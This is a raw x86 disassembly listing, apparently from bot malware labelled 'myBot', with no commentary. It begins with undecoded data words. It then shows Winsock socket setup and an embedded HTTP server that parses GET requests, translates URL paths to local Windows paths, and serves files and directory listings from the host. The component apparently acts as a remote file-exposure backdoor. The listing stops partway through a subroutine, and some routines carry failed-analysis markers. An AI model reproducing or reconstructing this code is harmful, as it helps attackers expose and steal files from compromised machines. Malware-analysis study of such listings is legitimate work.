dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah, 8B000000h
dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
dd 0C4B589FFh, 0E8FFFFFBh, 716A57FAh, 6A535690h, 37E89002h
dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h, 716A2B36h
dd 0B360A166h, 6583004Ch, 665000B8h, 2B445C7h, 2415FF00h
dd 66004CB6h, 8DB64589h, 106AB445h, 0E8905750h, 716A5482h
dd 77DC085h, 60E9C38Bh, 6A000005h, 0E890570Ah, 716A7382h
dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh, 6A2DF3E8h
dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh
dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah
dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h
dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
dd 56FC4589h, 9C68156Ah, 5000433Eh, 3BE9D3FFh, 56000004h
dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h
dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh
dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h
dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh
dd 9468FFFFh, 5000433Eh, 0DA58E8h, 50858D00h, 68FFFFFFh
dd 433E8Ch, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh
dd 433E7468h, 82E900h, 858D0000h, 0FFFFFF50h, 433E6C68h
dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 433E5468h
dd 8D61EB00h, 0FFFF5085h, 3E4C68FFh, 0E8500043h, 0D42Ch
dd 59C08559h, 6A560A75h, 3E3C680Dh, 40EB0043h, 0FF50858Dh
dd 3468FFFFh, 5000433Eh, 0D40BE8h, 0C0855900h, 560A7559h
dd 2068106Ah, 0EB00433Eh, 50858D1Fh, 68FFFFFFh, 433E1Ch
dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 433DFCh
dd 2F1E957h, 0F4BF0000h, 8D00433Dh, 0FFFF5085h, 0E85057FFh
dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 433DF068h
dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 433DDC68h
dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h
dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433DD8h, 0D376E850h
dd 85590000h, 0D7559C0h, 68136A56h, 433DC4h, 27BE9h, 50858D00h
dd 68FFFFFFh, 433DBCh, 0D352E850h, 85590000h, 347559C0h
dd 90BE0A6Ah, 5900433Dh, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h
dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh
dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 8868FFFFh
dd 5000433Dh, 0D307E8h, 0C0855900h, 6A2A7559h, 3D70BE05h
dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h
dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h
dd 68FFFFFFh, 433D68h, 0D2C6E850h, 85590000h, 850F59C0h
dd 0B6h, 0FD2C858Dh, 8D50FFFFh, 0FFFF0485h, 458D50FFh
dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
dd 433D4068h, 62E85000h, 8D0000D8h, 0FFFF0485h, 8AE850FFh
dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h, 858D34C4h
dd 0FFFFFF04h, 57F475FFh, 433D3868h, 5FE85000h, 6A0000CAh
dd 4858D10h, 56FFFFFFh, 0CF8FE850h, 0C4830000h, 0F445891Ch
dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
dd 433D2Ch, 0CA2CE850h, 0C4830000h, 1D6A5618h, 433D0C68h
dd 11EE900h, 858D0000h, 0FFFFFF50h, 433D0468h, 0F5E85000h
dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 433CD868h
dd 875FF00h, 75FFD3FFh, 0C4458DF4h, 120E850h, 83590000h
dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
dd 433CBCh, 0C9C8E850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh
dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
dd 1F88300h, 93850Fh, 6A560000h, 3CA46817h, 75FF0043h
dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 3C8468FFh, 0E8500043h
dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h, 6256E850h
dd 5FF0000h, 4CE130h, 562EEB59h, 6068206Ah, 0EB00433Ch
dd 50858D1Fh, 68FFFFFFh, 42D050h, 0D0F6E850h, 85590000h
dd 0D7559C0h, 681B6A56h, 433C44h, 0FF0875FFh, 8D646AD3h
dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
dd 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h, 5F58016Ah
dd 0C2C95B5Eh
db 4, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp-1A0h]
push eax
push 101h
call near ptr 71AB41DAh
nop
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
push dword ptr [ebp+8]
mov dword_4CE378, eax
mov word ptr [ebp-10h], 2
nop
call near ptr 71AB12F8h
push dword ptr [ebp+0Ch]
mov [ebp-0Ch], eax
nop
call near ptr 71AB1746h
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push dword_4CE378
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_40F036
push dword_4CE378
nop
call near ptr 71AB1A6Dh
call near ptr 71AB1836h
nop
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40F036: ; CODE XREF: ___:0040F01Ej
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp-104h]
push 104h
push eax
push 0
nop
call near ptr 2810000h
lea eax, [ebp-104h]
push offset dword_429068
push eax
call sub_41B4C2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40F0D2
test byte ptr [esi+0Ch], 10h
jnz short loc_40F0B6
push edi
mov edi, 400h
loc_40F07E: ; CODE XREF: ___:0040F0B3j
push esi
push 1
lea eax, [ebp-504h]
push edi
push eax
call sub_41B11A
add esp, 10h
lea eax, [ebp-504h]
push 0
push edi
push eax
push dword_4CE378
nop
call near ptr 71AB1AF4h
push 1
call near ptr 2820566h
nop
test byte ptr [esi+0Ch], 10h
jz short loc_40F07E
pop edi
loc_40F0B6: ; CODE XREF: ___:0040F076j
push esi
call sub_41B05B
pop ecx
push dword_4CE378
nop
call near ptr 71AB1A6Dh
nop
call near ptr 71AB1836h
push 1
pop eax
loc_40F0D2: ; CODE XREF: ___:0040F070j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o
; sub_40BACD+475o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41BB20
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_41B590
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4CB624
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4CB6A4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40F4C0
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43E56C[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CB650
cmp eax, 0FFFFFFFFh
jz loc_40F4C0
push 7FFFFFFFh
push edi
call dword_4CB64C
cmp eax, 0FFFFFFFFh
jz loc_40F4C0
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4CB6C0
cmp eax, 0FFFFFFFFh
jz loc_40F4C0
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4CB60C
cmp eax, 0FFFFFFFFh
jz loc_40F4BB
xor esi, esi
mov [ebp+var_4], esi
loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4CB510
test eax, eax
jz loc_40F4A6
cmp esi, [ebp+var_C]
jnz short loc_40F264
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4CB6B8
cmp eax, 0FFFFFFFFh
jz loc_40F4A6
xor ecx, ecx
test ebx, ebx
jbe short loc_40F236
lea edx, [ebp+var_134]
loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj
cmp [edx], eax
jz short loc_40F236
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40F22A
loc_40F236: ; CODE XREF: sub_40F0D5+14Dj
; sub_40F0D5+157j
cmp ecx, ebx
jnz short loc_40F253
cmp ebx, 40h
jnb short loc_40F253
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40F253: ; CODE XREF: sub_40F0D5+163j
; sub_40F0D5+168j
cmp eax, [ebp+var_8]
jbe loc_40F4A6
mov [ebp+var_8], eax
jmp loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F264: ; CODE XREF: sub_40F0D5+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_41B590
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41B590
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_4CB63C
test eax, eax
jg short loc_40F2F7
push esi
call dword_4CB6BC
xor ecx, ecx
test ebx, ebx
jbe loc_40F4A6
lea eax, [ebp+var_134]
loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj
cmp [eax], esi
jz short loc_40F2C7
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40F2B6
jmp loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40F2EB
lea eax, [ebp+ecx*4+var_134]
loc_40F2D5: ; CODE XREF: sub_40F0D5+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40F2D5
loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41B590
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_41AFE0
add esp, 10h
test eax, eax
jbe loc_40F4A6
loc_40F325: ; CODE XREF: sub_40F0D5+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40F3CA
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_40F39E
lea eax, [ebp+var_18F0]
push eax
call sub_41AFE0
cmp eax, 5
pop ecx
jbe short loc_40F39E
mov eax, offset asc_42D0F0 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41B900
pop ecx
pop ecx
push eax
call sub_41B900
pop ecx
pop ecx
push eax
call sub_41C0F4
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41BEB0
add esp, 10h
jmp short loc_40F3B5
; ---------------------------------------------------------------------------
loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj
; sub_40F0D5+291j
lea eax, [ebp+var_18F0]
push offset asc_433EDC ; "\r\n"
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40F3E9
loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41B590
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40F3CA: ; CODE XREF: sub_40F0D5+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_41AFE0
cmp [ebp+arg_0], eax
pop ecx
jb loc_40F325
jmp loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_40F433
lea eax, [ebp+var_134]
loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40F406
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40F3F5
jmp short loc_40F436
; ---------------------------------------------------------------------------
loc_40F406: ; CODE XREF: sub_40F0D5+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40F42A
lea eax, [ebp+ecx*4+var_134]
loc_40F414: ; CODE XREF: sub_40F0D5+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40F414
loc_40F42A: ; CODE XREF: sub_40F0D5+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40F436
; ---------------------------------------------------------------------------
loc_40F433: ; CODE XREF: sub_40F0D5+318j
mov esi, [ebp+var_4]
loc_40F436: ; CODE XREF: sub_40F0D5+32Fj
; sub_40F0D5+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40F49F
lea eax, [ebp+var_360]
push eax
call sub_41AFE0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41AFE0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40F49F
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4CB6C0
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_40F6B3
add esp, 14h
jmp short loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F49F: ; CODE XREF: sub_40F0D5+369j
; sub_40F0D5+38Fj
push esi
call dword_4CB6BC
loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj
; sub_40F0D5+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40F1E2
jmp loc_40F1AC
; ---------------------------------------------------------------------------
loc_40F4BB: ; CODE XREF: sub_40F0D5+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj
; sub_40F0D5+92j ...
call dword_4CB5B8
push eax
lea eax, [ebp+var_8F0]
push offset unk_433EB4
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40F506
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_409A72
add esp, 14h
loc_40F506: ; CODE XREF: sub_40F0D5+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_4151AC
pop ecx
push edi
call dword_4CB6BC
push [ebp+var_254]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 288097Dh
pop edi
pop esi
pop ebx
sub_40F0D5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41BB20
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push eax
lea eax, [ebp+var_654]
push eax
call sub_41B886
xor edi, edi
pop ecx
cmp [ebp+var_A4], edi
pop ecx
jz short loc_40F596
push offset aTextHtml ; "text/html"
jmp short loc_40F59B
; ---------------------------------------------------------------------------
loc_40F596: ; CODE XREF: sub_40F530+5Dj
push offset aApplicationOct ; "application/octet-stream"
loc_40F59B: ; CODE XREF: sub_40F530+64j
lea eax, [ebp+var_9C]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
nop
call near ptr 28E0000h
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
nop
call near ptr 28D14A2h
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_40F614
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41B886
add esp, 24h
jmp short loc_40F635
; ---------------------------------------------------------------------------
loc_40F614: ; CODE XREF: sub_40F530+C5j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41B886
add esp, 28h
loc_40F635: ; CODE XREF: sub_40F530+E2j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_4CB674
cmp [ebp+var_A4], edi
jnz short loc_40F675
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_40FFF0
pop ecx
pop ecx
jmp short loc_40F692
; ---------------------------------------------------------------------------
loc_40F675: ; CODE XREF: sub_40F530+12Dj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_40F96A
add esp, 10h
loc_40F692: ; CODE XREF: sub_40F530+143j
push [ebp+var_44C]
call dword_4CB6BC
push [ebp+var_B4]
call sub_40B412
pop ecx
push edi
nop
call near ptr 288097Dh
pop edi
pop esi
sub_40F530 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41B590
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_40F6E9
push eax
push offset aS_3 ; "\\%s"
jmp short loc_40F6F2
; ---------------------------------------------------------------------------
loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_40F6F2: ; CODE XREF: sub_40F6B3+34j
lea eax, [ebp+var_10C]
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_41AFE0
test eax, eax
pop ecx
jbe short loc_40F78D
mov [ebp+arg_8], 2
loc_40F71D: ; CODE XREF: sub_40F6B3+D8j
lea eax, [ebp+var_10C]
push eax
call sub_41AFE0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_40F75D
cmp [ebp+esi+var_10C], 25h
jnz short loc_40F75D
cmp [ebp+esi+var_10B], 32h
jnz short loc_40F75D
cmp [ebp+esi+var_10A], 30h
jnz short loc_40F75D
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_40F777
; ---------------------------------------------------------------------------
loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj
; sub_40F6B3+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_40F76D
push 5Ch
pop eax
jmp short loc_40F770
; ---------------------------------------------------------------------------
loc_40F76D: ; CODE XREF: sub_40F6B3+B3j
movsx eax, al
loc_40F770: ; CODE XREF: sub_40F6B3+B8j
mov [ebp+ebx+var_210], al
loc_40F777: ; CODE XREF: sub_40F6B3+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_41AFE0
cmp esi, eax
pop ecx
jb short loc_40F71D
loc_40F78D: ; CODE XREF: sub_40F6B3+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset dword_429A94
push eax
call sub_41B886
lea eax, [ebp+var_314]
push offset asc_42A068 ; "\n"
push eax
call sub_41C0F4
add esp, 18h
lea eax, [ebp+var_314]
push eax
call near ptr 2830500h
nop
push 1
cmp eax, 10h
pop esi
jz short loc_40F7DE
cmp eax, 0FFFFFFFFh
jnz short loc_40F7E1
push [ebp+arg_0]
jmp loc_40F861
; ---------------------------------------------------------------------------
loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj
mov [ebp+var_4], esi
loc_40F7E1: ; CODE XREF: sub_40F6B3+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40F7EE
mov [ebp+var_4], esi
loc_40F7EE: ; CODE XREF: sub_40F6B3+136j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_40F86C
cmp [ebp+arg_C], edi
jz short loc_40F860
lea eax, [ebp+var_314]
push offset asc_434168 ; "*"
push eax
call sub_41BEC0
pop ecx
lea eax, [ebp+var_314]
pop ecx
push eax
lea eax, [ebp+var_640]
push eax
call sub_41B886
lea eax, [ebp+var_210]
push eax
call sub_4100AD
add esp, 0Ch
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41B886
or [ebp+var_330], 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+var_31C], esi
jmp short loc_40F8BB
; ---------------------------------------------------------------------------
loc_40F860: ; CODE XREF: sub_40F6B3+152j
push ebx
loc_40F861: ; CODE XREF: sub_40F6B3+126j
call dword_4CB6BC
jmp loc_40F963
; ---------------------------------------------------------------------------
loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call near ptr 28B0703h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40F8BB
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41B886
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call near ptr 28E0A73h
nop
push esi
mov [ebp+var_330], eax
nop
call near ptr 28005AFh
loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj
; sub_40F6B3+1D6j
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_434134
push eax
call sub_41B886
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40B0F6
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_43E564[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40F530
push edi
push edi
call near ptr 282060Ah
nop
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_43E574[ecx], eax
jz short loc_40F935
loc_40F923: ; CODE XREF: sub_40F6B3+280j
cmp [ebp+var_318], edi
jnz short loc_40F963
push 5
call near ptr 2820566h
nop
jmp short loc_40F923
; ---------------------------------------------------------------------------
loc_40F935: ; CODE XREF: sub_40F6B3+26Ej
push ebx
call dword_4CB6BC
nop
call near ptr 2830047h
push eax
lea eax, [ebp+var_8C4]
push offset unk_4340FC
push eax
call sub_41B886
lea eax, [ebp+var_8C4]
push eax
call sub_4151AC
add esp, 10h
loc_40F963: ; CODE XREF: sub_40F6B3+1B4j
; sub_40F6B3+276j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40F6B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap
; sub_40F530+15Ap
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41B590
mov edi, [ebp+arg_0]
push offset asc_42A068 ; "\n"
push edi
